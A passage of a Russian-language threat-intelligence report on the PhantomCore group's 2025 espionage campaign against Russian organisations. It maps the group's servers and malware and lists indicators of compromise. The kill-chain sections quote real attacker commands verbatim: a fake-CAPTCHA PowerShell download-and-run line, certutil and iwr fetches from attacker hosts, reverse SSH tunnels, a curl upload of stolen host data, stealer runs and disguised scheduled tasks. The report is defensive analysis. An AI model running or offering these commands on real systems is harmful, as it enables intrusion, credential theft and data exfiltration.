Виктор Казаков
Ведущий специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Виктор Казаков
Ведущий специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Ключевые характеристики выявленной активности группировки PhantomCore:
Впервые о группировке PhantomCore стало известно в начале 2024 года. За прошедшие полтора года группировка существенно нарастила наступательный арсенал, расширив его инструментами собственной разработки, и отметилась многочисленными кибератаками на критически значимую инфраструктуру России с целью шпионажа.
Экспертиза, накопленная TI-департаментом PT ESC в процессе тщательного изучения группировки, и внутренние системы киберразведки обеспечили оперативное обнаружение активности PhantomCore невзирая на эволюцию вредоносных инструментов. Принятые меры позволили в начале мая текущего года обнаружить новую масштабную кампанию кибершпионажа группировки в отношении российских организаций.
В рамках ее исследования удалось установить ключевую инфраструктуру группировки, изучить обновленный арсенал, в том числе ранее не встречавшиеся образцы собственной разработки, изучить TTP и kill chain кибератак, а также идентифицировать жертв из числа российских организаций, корпоративные сети которых подверглись компрометации, и предотвратить реализацию недопустимых событий.
В начале мая текущего года TI-департамент PT ESC обнаружил несколько экземпляров RAT-троянов, упакованных с использованием опенсорсной утилиты UPX (the Ultimate Packer for eXecutables) и распространявшихся через рассылку по электронной почте под видом ZIP-архивов, в том числе защищенных паролем, с названием «Документы_на_рассмотрение».
Запуск инкапсулированного LNK-файла приводил к открытию PDF-документа-приманки, а также к скрытой распаковке, инсталляции и запуску обновленной версии бэкдора PhantomRAT, который управлялся с C2-сервера 195.58.54[.]39.
Данные киберразведки, обогащенные вердиктами продуктов Positive Technologies, были оперативно добавлены в базу знаний PT Threat Intelligence Portal.
Дальнейшее изучение обнаруженной активности PhantomCore позволило TI-департаменту PT ESC целиком разоблачить кампанию кибершпионажа, своевременно поставить данные киберразведки в продукты Positive Technologies и предотвратить киберинциденты в сетях наших клиентов, а также своевременно проинформировать другие организации о компрометации сетей.
Обнаруженная сетевая инфраструктура группировки PhantomCore строго сегментирована по функциональному признаку и классам инструментов кибершпионажа, которыми она управляет (подробный разбор инструментов — в следующем разделе).
1. C2-сервер бэкдора PhantomRAT
Используется на первой стадии кибератаки — при получении первоначального доступа (Initial Access). Принимает базовую информацию о скомпрометированной системе, передает команды на загрузку с payload-хабов и запуск на зараженных хостах следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.
Обнаруженные URL-маршруты:
Обнаруженный сервер:
195.58.54.39
2. C2-серверы бэкдора PhantomRShell
Используются на первой стадии кибератаки — при получение первоначального доступа (Initial Access). Функциональность аналогична C2-серверам бэкдора PhantomRAT: получение базовой информации о скомпрометированной системе, отправка команд на загрузку с payload-хабов и запуск на зараженных хостах следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.
Обнаруженные URL-маршруты:
Обнаруженные серверы:
188.127.254.44
91.239.148.21
185.225.17.104
3. Payload-хабы
Используются на последующих стадиях кибератаки для хранения и загрузки на зараженный хост следующего арсенала:
Группа киберразведки обнаружила несколько payload-хабов группировки PhantomCore:
Используется на стадиях закрепления (Persistence) и предотвращения обнаружения (Defense Evasion) для хранения PhantomTaskShell, MeshAgent и RSocx и их загрузки на зараженные хосты операторами бэкдоров PhantomRAT и PhantomRShell по прямому URL:
up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip
up https://<redacted>/update.zip C:\ProgramData\update.zip
up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip
VPS-сервер под управлением операционной системы Ubuntu с запущенной SSH-службой и 80 (HTTP) и 443 (HTTPS) сетевыми портами, меняющими свое состояние с закрытого на открытое (по наблюдениям группы киберразведки, открытое состояние характерно в начале рабочего дня, когда группировка загружает полезную нагрузку на зараженные хосты).
Используется на стадии получения учетных данных (Credential Access) для хранения стилера PhantomStealer и утилиты для восстановления паролей XenArmor All-In-One Password Recovery Pro и их загрузки на зараженные хосты бэкдором PhantomTaskShell по прямому URL:
iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"
certutil.exe -urlcache -f http://188.127.254.234/one.zip C:\\ProgramData\\one.zip
Обнаруженный сервер:
188.127.254.234
Зарегистрирован накануне выявленной кампании кибершпионажа, в апреле текущего года, на реальные данные гражданина России с использованием адреса электронной почты iseh34228@proton[.]me.
Использует оригинальную HTML-верстку официального сайта Московского городского фонда обязательного медицинского страхования, побуждает посетителей под предлогом прохождения fake CAPTCHA вставить и запустить содержимое буфера обмена в интерпретаторе командной строки Windows.
powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"
Выполнение команды приводит к загрузке и скрытому запуску экземпляра MeshAgent, управляемого с того же MeshCentral-сервера с доменом austolns[.]pw, что и экземпляр MeshAgent, загружаемый с описанного выше взломанного сайта.
Обнаруженный фишинговый сайт:
mgfoms.org
4. C2-серверы PhantomTaskShell с панелью управления Phantom
VPS-серверы под управлением операционной системы Ubuntu с запущенной SSH-службой и открытым 80 (HTTP) сетевым портом, на котором функционирует панель управления Phantom c веб-интерфейсом аутентификации администраторов.
Используются на всех стадиях кибератаки, следующих за получением первоначального доступа, для управления зараженными хостами через бэкдор PhantomTaskShell. Предоставляют внешний API для получения команд, которые необходимо выполнить в PowerShell-оболочке жертвы, и отправки результатов их выполнения.
Обнаруженные URL-маршруты:
В качестве favicon используется картинка с отсылкой к названию группировки PhantomCore, в действительности являющаяся копией первой буквы из стилизованного названия популярной компьютерной игры и изготовленная из распространяемого в игровом комьюнити PNG-трафарета.
Уникальные сетевые отпечатки позволили непосредственно в ходе изучения активности группировки обнаружить появление новых серверов с контрольной панелью Phantom, подтвердить их взаимосвязь по принципу использования одной C2-инфраструктуры (payload-хабы, проксирующие серверы, агрегаторы информации о зараженных хостах), существенно расширить знания о горизонте кибератаки и жертвах, а также поставить данные киберразведки в продукты Positive Technologies.
5. C2-серверы MeshAgent
VPS-серверы под управлением операционной системы Ubuntu с установленной системой удаленного управления устройствами MeshCentral, о чем говорят соответствующие TLS-сертификаты на открытом 443 (HTTPS) сетевом порте.
Используются на стадии закрепления (Persistence) для передачи информации о зараженных хостах и управления ими через экземпляры MeshAgent, загружаемые операторами PhantomRAT и PhantomRShell со взломанного либо фишингового сайтов.
В отношении MeshCentral-серверов группировка PhantomCore применяет целый комплекс мер конспирации, маскируя их под легитимную IT-инфраструктуру:
Обнаруженные группой киберразведки MeshCentral-серверы группировки используют домены с тематикой кибербезопасности и разработки программного обеспечения:
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud
Ряд доменов были зарегистрированы с использованием реальных данных гражданина России и адреса электронной почты emilygrace1981@proton[.]me, связанного с иными доменами группировки PhantomCore c IT-мимикрией:
polylab.top
techinnovators.world
blockchaineech.world
agrotech.homes
miucroprocessors.world
cybersedcurity.world
reconfiguratifon.world
telecommuunication.world
interoperaebility.world
На 81 (HTTP) сетевом порте MeshCentral-серверов функционирует лэндинг с HTML-разметкой, скопированной с официальных сайтов российских IT-компаний.
Обнаруженные MeshCentral домены и серверы:
austolns.pw
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud
194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211
6. Прокси-серверы PhantomProxyLite, RSocx, SSH-туннелей
VPS-серверы под управлением операционной системы Ubuntu с открытыми 80 (HTTP), 443 (HTTPS) и 8080 (HTTP) сетевыми портами, на которых запущена SSH-служба. Используются на стадиях закрепления (Persistence), предотвращения обнаружения (Defense Evasion) и организации управления (Command and Control) для создания обратного SSH-туннеля до внутренней сети жертвы, замаскированного под легитимный HTTPS-трафик.
Команды на запуск SSH-туннеля, выполняемые на зараженных хостах с использованием бэкдора PhantomTaskShell и планировщика задач Windows:
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227
schtasks /create /sc DAILY /tn SSH /tr \\"C:\\Windows\\system32\\OpenSSH\\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\\" /f /st 09:00
Управление SSH-сессиями на зараженных хостах осуществляется через панель управления, функционирующую на 80 (HTTP) сетевом порте туннелирующих серверов.
Прокси-серверы также используются на стадиях сбора (Collection) и эксфильтрации (Exfiltration) данных, выступая в качестве хаба для утилиты RClone и файла конфигурации, загружаемых на зараженный хост с сетевого порта 8080 (HTTP) сервера командами:
certutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"
certutil.exe -urlcache -f http://195.133.32.213:8000/wusa.conf C:\ProgramData\wusa.conf
Обнаруженные серверы:
193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131
7. Агрегаторы информации о зараженных хостах
VPS-серверы под управлением операционной системы Ubuntu с 80 (HTTP) открытым сетевым портом, на котором функционирует бэкенд получения информации о зараженных хостах. Используются на стадии обнаружения (Discovery).
Обнаруженные URL-маршруты:
Команда на отправку информации о зараженном хосте, выполняемая в интерпретаторе командной строки Windows с использованием бэкдора PhantomTaskShell:
C:\\Windows\\System32\\curl.exe -v -F "file=@C:\\ProgramData\\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload'
Обнаруженный сервер:
185.130.249.224
География вредоносной инфраструктуры группировки PhantomCore характеризуется тем, что почти половина (48%) серверов расположены в России, преимущественно в сетях трех российских провайдеров хостинга:
Девятнадцать процентов российского кластера инфраструктуры расположены в подсети 185.130.248.0/22. Доля зарубежной инфраструктуры составляет 52%, она практически равномерно распределена между несколькими странами: Финляндия (9%), Франция (9%), Нидерланды (9%), США (5%), Германия (5%), Гонконг (5%), Молдавия (5%), Польша (5%). При этом 33% всей инфраструктуры сосредоточены в сетях канадского провайдера Cgi Global Limited.
1. PhantomRAT
PhantomRAT — написанный на Go бэкдор, используемый в виде исполняемого PE-файла на первой стадии кибератаки для получения первоначального доступа и загрузки следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.
В бэкдоре отсутствует реализация техник закрепления (Persistence) на зараженном хосте.
Для обнаружения средств отладки, виртуализации и анализа PhantomRAT использует WinAPI-функцию IsDebuggerPresent(), проверяет ключи реестра Windows DriverDesc и SYSTEM\ControlSet001\Services\Disk на наличие строки «vmware».
PhantomRAT собирает следующую информацию о зараженном хосте:
Параметр | Значение | Способ получения |
---|---|---|
host | Имя хоста | Вызов golang-функции os.hostname() |
user | Имя пользователя | Значение переменной окружения USERNAME, получаемое через вызов golang-функции os.Getenv() |
domain | Домен | Значение переменной окружения USERDOMAIN, получаемое через вызов golang-функции os.Getenv() |
local_ip | IP-адрес хоста в локальной сети | Вызов golang-функции net.InterfaceAddrs() |
public_ip | Внешний IP-адрес хоста | Запрос к внешнему сервису https://ident.me |
PhantomRAT проверяет наличие соединения с C2-сервером:
GET /connect
и отправляет JSON с информацией о зараженном хосте:
POST /init
Далее PhantomRAT циклично запрашивает у C2-сервера команды, которые необходимо выполнить на зараженном хосте:
POST /command
C2-сервер возвращает JSON с полем Response, содержащим тип (cmd_id) и содержимое (cmd_data) команды, которую необходимо выполнить на зараженном хосте.
Параметр типа команды (cmd_id) может принимать несколько значений:
Команда | Назначение |
---|---|
Up | Загрузка файла с удаленного хоста в зашитую в коде директорию C:\ProgramData\ |
Ex | Выполнение переданной в cmd_data команды в интерпретаторе командной строки в формате: cmd /s /c "<cmd_data> | cmd" |
St | Запуск процесса на зараженном хосте (например, ранее загруженного файла): cmd.exe /C start "<cmd_data>" |
Результаты выполнения команды PhantomRAT отправляет в JSON с аналогичной структурой:
POST /out
В коде PhantomRAT также имеется функция проверки соединения с C2-сервером:
POST /check
Однако вне зависимости от результата бэкдор не выполняет никаких действий, а данная функциональность, вероятно, является тестовой и находится в стадии разработки.
Обнаруженные экземпляры:
c34fb316e7b60cff25be9c86e5736b802b9e99b1ac29daa03b08c3435b6ada8c
278f051832c4b2c95ba899d685478bd3430f74d21aea367377cc17788c3a5638
c67cf425d688bba6dbe00e6d86a501f6978664ff99c1811c7104f4a3f4b7e884
31cc62a06720e0c20f03e0cb912bb92b20e5f339ae9c7280b235f63ac35eda9a
9287fd8adc333469eabe655ccf13b78e1abb6e42c0cc6817ae66372fb126a683
Ключевые особенности:
2. PhantomRShell
PhantomRShell — написанный на С++ бэкдор, используемый в виде динамически подключаемой библиотеки DLL на первой стадии кибератаки для получения первоначального доступа и загрузки следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.
В бэкдоре отсутствует реализация техник закрепления (Persistence) на зараженном хосте и предотвращения обнаружения (Defence Evasion).
PhantomRShell использует WinAPI-функции для получения следующей информации о зараженном хосте:
Параметр | Значение | Способ получения |
---|---|---|
GUID | Идентификатор | Вызов WinAPI-функции CoCreateGuid() |
hostname | Имя хоста | Вызов WinAPI-функции GetComputerNameW() |
AD | Домен | Вызов WinAPI-функции GetComputerNameExW() |
В случае ошибки в качестве значения параметра используется строка «UNKNOWN».
Далее создаются рабочие директории:
В запросах PhantomRShell к C2-серверу HTTP-заголовок User-Agent принимает одно из значений:
PhantomRShell выполняет три попытки установить соединение с C2-сервером. При отсутствии соединения бэкдор активирует таймаут в 10 секунд, по истечении которого цикл повторяется. Установив соединение с C2-сервером, PhantomRShell передает информацию о зараженном хосте.
GET /poll?id=<GUID>&hostname=<hostname>&domain=<AD>
User-Agent: YandexCloud/1.0
Далее PhantomRShell получает от C2-сервера команды, которые необходимо выполнить на зараженном хосте, в двух возможных форматах:
Команда | Назначение |
---|---|
cmd:<cmd_data>|<cmd_ID> | Выполнение команды cmd_data в интерпретаторе командной строки в формате: cmd.exe /C <cmd_data> |
download:< cmd_data >|<cmd_ID> | Загрузка файла с удаленного хоста в одну из ранее созданных директорий: — C:\ProgramData\YandexCloud |
Результат выполнения команды PhantomRShell отправляет на C2-сервер в JSON в поле result. В случае исполнения команды на загрузку файла с удаленного хоста в поле result передаются строки Download successful:<path> или Download failed в зависимости от успеха загрузки:
POST /result
User-Agent: YandexCloud/1.0
Обнаруженные экземпляры:
ed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728
4c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e0314
204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e
413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08
b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a
be14fc604c840c3afff9542106c73ed247417de5a56b1e9b2843e7947f0722d9
01f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399be
Ключевые особенности:
3. PhantomTaskShell
PhantomTaskShell — PowerShell-бэкдор, используемый на всех стадиях кибератаки, следующих за получением первоначального доступа, для управления зараженными хостами из контрольной панели Phantom и загрузки следующих стейджей: PhantomStealer, OpenSSH, XenArmor All-In-One Password Recovery Pro, RClone.
При первом запуске PhantomTaskShell на зараженном хосте создается файл update_id.txt, в который записывается значение параметра GUID, получаемого с помощью функции [System.Guid]::NewGuid().
Для закрепления на зараженном хосте в планировщике Windows создается задача с названием SystemAdminAgent_<GUID>, запускающая PhantomTaskShell в течение 9999 дней вне зависимости от источника питания (батарея или аккумулятор). При каждом очередном запуске проверяется наличие файла update_id.txt с информацией о GUID.
В случае первого запуска бэкдора, на что указывает отсутствие файла update_id.txt, PhantomTaskShell регистрирует зараженный хост в панели управления Phantom, отправляя на C2-сервер GUID и имя хоста, получаемое из переменной окружения COMPUTERNAME:
POST /api/clients
Далее PhantomTaskShell каждые 60 секунд запрашивает у панели управления Phantom команды, которые необходимо выполнить на зараженном хосте.
/api/clients/GUID/commands
C2-сервер возвращает список, каждый элемент которого начинается со строки «Pending:», за которой следует команда для выполнения на зараженном хосте.
Результаты выполнения команд PhantomTaskShell отправляет на тот же URL в JSON.
Все действия PhantomTaskShell на зараженном хосте журналируются в файле update.log.
Обнаруженный экземпляр:
9f9acdd833f3fd7b8bf987a8cc17e9456546fdcbcfe80c3b0dfc57c6f62d3e4b
4. PhantomStealer
PhantomStealer — написанный на Go стилер, используемый на стадии получения учетных данных (Credential Access). Предназначен для работы с данными аутентификации, сохраненными в Яндекс Браузере, Google Chrome и Discord. Не является опенсорсной утилитой, однако содержит инструкцию по использованию.
Параметры запуска:
Варианты использования:
При экспорте стилер выгружает, расшифровывает и сохраняет данные аутентификации каждого поддерживаемого программного обеспечения в отдельный файл, а затем упаковывает данные экспорта в единый ZIP-архив:
Нехарактерная для стилеров функция импорта данных, вероятно, используется операторами PhantomStealer для удобства последующей работы с украденными учетными записями.
Обнаруженный экземпляр:
c3d05d7d6e1c50c6bd493fd5613c3204e6beadf8b6e4915cdf2f899fabf86a4e
5. PhantomProxyLite
PhantomProxyLite — инструмент, используемый на стадии закрепления (Persistence) и предотвращения обнаружения (Defence Evasion) для организации SSH-туннеля между зараженным хостом и C2-сервером и устойчивого доступа в скомпрометированную сеть.
PhantomProxyLite функционирует как фоновая служба с названием SSHService. При первом запуске генерирует случайный номер обратного (reverse) сетевого порта C2-сервера, превышающий 12559, значение которого сохраняется в ключе реестра Windows HKLM\SOFTWARE\SSHService и запрашивается при каждом запуске инструмента.
В директории C:\Windows\Temp создается файл config с параметрами SSH-туннелирования сетевого трафика до C2-сервера.
На зараженном хосте PhantomProxyLite запускает клиент ssh.exe с параметрами, сохраненными в файле конфигурации и реестре Windows, и поднимает обратный SSH-туннель до 443 сетевого порта прокси-сервера, маскируя вредоносный сетевой трафик под легитимные HTTPS-соединения.
Обнаруженные экземпляры:
b701272e20db5e485fe8b4f480ed05bcdba88c386d44dc4a17fe9a7b6b9c026b
2611121e4100b60e8644211bdc831144ba8b772d4d40e616864e7a723a9d7bf8
a2be4d9fdba560a4706ff8c4b32f092ef476f203c96e1b4afaf391cfe82aa533
6. XenArmor All-In-One Password Recovery Pro
XenArmor All-In-One Password Recovery Pro — утилита для восстановления параметров аутентификации в операционных системах Windows, распространяемая на коммерческой основе. Используется на стадии получения учетных данных (Credential Access).
Для приобретения утилиты группировка PhantomCore использует привилегированный аккаунт со статусом Gold, зарегистрированный 16 июля 2024 года на адрес netu@tuta[.]com.
С аккаунта совершены две покупки: 16 июля 2024 года приобретена версия утилиты 2023 года, обнаруженная в начале исследуемой кампании кибершпионажа, 13 мая 2025 года приобретена обновленная версия утилиты, вероятно планируемая к использованию в будущих кибератаках 2025–2026 годов.
7. RClone
RClone — опенсорсная утилита для синхронизации данных между локальным компьютером и облачным хранилищем. Используется группировкой PhantomCore на стадии эксфильтрации (Exfiltration) данных с зараженных хостов.
Обнаруженный группой киберразведки экземпляр RClone, загружаемый с одного их payload-хабов группировки, относится к версии 1.69.1 утилиты, что подтверждается совпадением хеш-сумм обнаруженного образца и опубликованного в официальном репозитории.
Согласно данным конфигурации обнаженного экземпляра, для эксфильтрации данных группировка PhantomCore использует аккаунт облачного хранилища Mega[.]nz, зарегистрированный на электронный адрес mariaaa228@proton[.]me.
1. Получение первоначального доступа (Initial Access)
Используемые инструменты:
Используемая инфраструктура:
195.58.54.39
91.239.148.21
188.127.254.44
185.225.17.104
Доставка бэкдоров осуществляется в виде polyglot-файлов с использованием среди прочего взломанных адресов электронной почты легитимных российских компаний.
2. Закрепление (Persistence), предотвращение обнаружения (Defence Evasion)
Используемые инструменты:
Используемая инфраструктура:
austolns.pw
mgfoms.org
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud
194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211
193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
188.127.254.234
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131
Процедуры:
Загрузка MeshAgent с VPS-сервера
iwr -Uri "http://188.127.254.234:443/remote.zip" -OutFile "C:\ProgramData\remote.zip"
iwr -Uri "http://188.127.254.234:80/dnsclient.zip" -OutFile "C:\ProgramData\dnsclient.zip"
iwr -Uri http://188.127.254.234:80/inetpub.zip -OutFile C:\ProgramData\inetpub.zip
certutil.exe -urlcache -f http://188.127.254.234:80/remote.zip C:\ProgramData\remote.zip
Загрузка MeshAgent со взломанного сайта
up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip
Загрузка MeshAgent с фишингового сайта с fake CAPTCHA
powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"
Распаковка MeshAgent
expand-archive -force -path C:\ProgramData\inetpub.zip -destinationpath C:\ProgramData\
expand-archive -force -path C:\ProgramData\dnsclient.zip -destinationpath C:\ProgramData\
Создание задачи в планировщике Windows
schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /mo 1 /st 10:00
schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:00
schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:01 /f
schtasks /create /sc DAILY /tn \"Yandex Update\" /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /mo 1 /st 10:00 /ri 5
schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00
schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00
Загрузка и установка клиента OpenSSH
msiexec /qn /i https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.8.3.0p2-Preview/OpenSSH-Win64-v9.8.3.0.msi
Листинг директории OpenSSH
dir "C:\Program Files\OpenSSH"
dir \"C:\Program Files\OpenSSH\"
dir C:\windows\system32\Openssh
Просмотр версии SSH
ssh -V
Организация SSH-туннеля
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37124 -p 80 vtvvuaweuvefafoewfau9124124615@195.133.32.213
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 31238 -p 443 vtvvuaweuvefafoewfau9124124615@195.133.32.213
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227
Создание задачи в планировщике Windows
schtasks /create /sc DAILY /tn SSH /tr \"C:\Windows\system32\OpenSSH\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\" /f /st 09:00
schtasks /create /sc DAILY /tn Update /tr \"'C:\Windows\system32\OpenSSH\ssh.exe' -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52127 -p 443 cfyvg84df17842o@185.130.251.227\" /st 09:00
Загрузка RSocx
up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip
Распаковка RSocx
powershell expand-archive -force -path "C:\\ProgramData\\hosts.zip" -destinationpath "C:\\ProgramData\\"
Запуск RSocx
C:\ProgramData\hosts.exe -r 193.187.174.251:443
C:\ProgramData\hosts.exe -r 195.133.32.213:8080
start /B "" "C:\\ProgramData\\hosts.exe -r 193.187.174.251:443"
Start-Process -FilePath "C:\ProgramData\hosts.exe" -ArgumentList "-r 193.187.174.251:443" -NoNewWindow
Start-Process -FilePath \"C:\ProgramData\hosts.exe\" -ArgumentList \"-r 193.187.174.251:443\" -NoNewWindow
Загрузка PhantomTaskShell
up https://<redacted>/update.zip C:\ProgramData\update.zip
Распаковка PhantomTaskShell
expand-archive -force -path C:\ProgramData\update.zip -destinationpath C:\ProgramData\
Запуск PhantomTaskShell
powershell C:\ProgramData\MicrosoftAppStore\update.ps1
powershell C:\ProgramData\YandexCloud\update.ps1
3. Получение учетных данных (Credential Access)
Используемые инструменты:
Используемая инфраструктура:
188.127.254.234
Процедуры:
Загрузка XenArmor All-In-One Password Recovery Pro
iwr -Uri "http://188.127.254.234:80/one.zip" -OutFile "C:\ProgramData\one.zip"
Распаковка утилиты
expand-archive -force -path C:\ProgramData\one.zip -destinationpath C:\ProgramData
Запуск утилиты с записью результатов в HTML-файл
C:\ProgramData\XenAllPasswordPro.exe -a C:\ProgramData\<redacted>.html
Удаление утилиты
del C:\ProgramData\one.zip
del C:\ProgramData\XenAllPasswordPro.exe
Загрузка PhantomStealer
iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"
Распаковка PhantomStealer
expand-archive -force -path C:\ProgramData\browser.zip -destinationpath C:\ProgramData\
Запуск PhantomStealer
C:\ProgramData\browser.exe chrome -c
cd C:\ProgramData; .\browser.exe yandex -c
Удаление PhantomStealer
del "C:\ProgramData\browser.exe"
4. Обнаружение (Discovery), перемещение внутри периметра (Lateral Movement)
Используемые инструменты:
Используемая инфраструктура:
185.130.249.224
Процедуры (выполняются с использованием бэкдора PhantomTaskShell, получающего команды от панели управления Phantom):
whoami
quser
net user
net user /domain
net user <redacted> /domain
net group /domain
net group \"Domain Admins\" /domain
<redacted>, <redacted> | ForEach-Object { net user $_ /domain }
systeminfo
wmic logicaldisk get caption
get-service
tasklist
get-mppreference
dir S:\
dir C:\
dir C:\users\<redacted>
dir C:\users\<redacted>\documents
dir C:\users\<redacted>\downloads
dir C:\users\<redacted>\desktop
dir C:\Users\<redacted>\AppData\Roaming
dir C:\ProgramData
dir \"C:\Program Files (x86)\"
pwd
arp -a
ipconfig
route print
nestat -ano
nslookup 127.0.0.1
nslookup <redacted>.ru
ping 10.64.70.172 -n 1
ping <redacted> -n 2
C:\Windows\System32\curl.exe -v -F "file=@C:\ProgramData\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload
5. Сбор (Collection) и эксфильтрация данных (Exfiltration)
Используемые инструменты:
Используемая инфраструктура:
195.133.32.213
Процедуры:
certutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"
certutil.exe -urlcache -f "http://195.133.32.213:8000/wusa.conf" "C:\ProgramData\wusa.conf"
iwr -Uri "http://188.127.254.234:80/load.zip" -OutFile "C:\\ProgramData\\load.zip
expand-archive -force -path C:\ProgramData\load.zip -destinationpath C:\ProgramData\
powershell -ex bypass C:\ProgramData\load.ps1 -Path C:\Users\ -r -e "pdf,xls,xlsx,doc,docx,txt,jpg,ovpn,rdp,lnk"
del "C:\ProgramData\wusa.conf"
del "C:\ProgramData\srvhost.exe"
del "C:\ProgramData\load.ps1"
del "C:\ProgramData\load.zip"
Директории, используемые для хранения инструментов:
C:\ProgramData\
C:\ProgramData\YandexCloud
C:\ProgramData\MicrosoftAppStore
C:\Windows\system32\OpenSSH
Названия задач в планировщике задач Windows:
Yandex Update
Microsoft Update
Update
SSH
DNS
Мимикрия под легитимные файлы в названиях инструментов:
ssh.exe
hosts.exe
inetpub.exe
srvhost.exe
Имена вредоносных файлов:
dnsclient.zip
dnsclient.bat
inetpub.zip
inetpub.exe
hosts.zip
hosts.exe
update.zip
update.ps1
remote.zip
remote.exe
remote.dll
load.zip
load.ps1
one.zip
one.exe
xenallpassword.exe
browser.zip
browser.exe
srvhost.exe
wusa.conf
Согласно данным киберразведки, на момент публикации исследования в рамках кампании кибершпионажа группировке PhantomCore удалось получить доступ к 181 зараженному хосту. Первое заражение датируется 12 мая 2025 года, наибольшей интенсивности кибератаки достигли в июне, при этом 56% всех заражений пришлось на 30 июня. Средняя продолжительность пребывания группировки в скомпрометированной сети составляет 24 дня, максимальная — 78 дней. 49 хостов остаются под контролем группировки до настоящего времени.
TI-департаменту PT ESC удалось идентифицировать и уведомить о киберинциденте до наступления недопустимых событий жертв следующих категорий:
Все идентифицированные жертвы — российские организации.
В середине апреля текущего года, за две недели до начала описываемой кампании кибершпионажа, группа киберразведки обнаружила ранее не встречавшийся реверс-шелл, имевший сходство с иными инструментами из арсенала APT-группировки PhantomCore 2024 года.
Новый бэкдор, получивший название PhantomGoShell, написан на Go, выполняет команды на зараженном Windows-хосте через интерпретатор командной строки, на уровне логики и программного кода имеет сходства с PhantomRAT и PhantomRShell (более детальное исследование бэкдора — в следующем разделе).
Однако ряд признаков в совокупности указывали на то, что за использованием обнаруженного бэкдора стоят низкоквалифицированные хакеры, не входящие в основное звено группировки PhantomCore, но получившие сырой тестовый инструмент из ее арсенала.
1. Публичные песочницы, ошибки, нехарактерные закрепление и импакт
Тестирование PhantomGoShell проводилось его операторами с использованием бесплатного аккаунта на сервисе публичных песочниц, что позволило группе киберразведки в режиме реального времени наблюдать за пуско-наладочными работами, вводимыми командами и результатами их выполнения.
На первом этапе тестирования бэкдора операторы PhantomGoShell испытывали проблемы с конфигурацией C2-сервера.
После устранения проблем с конфигурацией C2-сервера последовало выполнение на зараженной виртуальной машине команд запуска калькулятора, листинга запущенных процессов и директорий файловой системы.
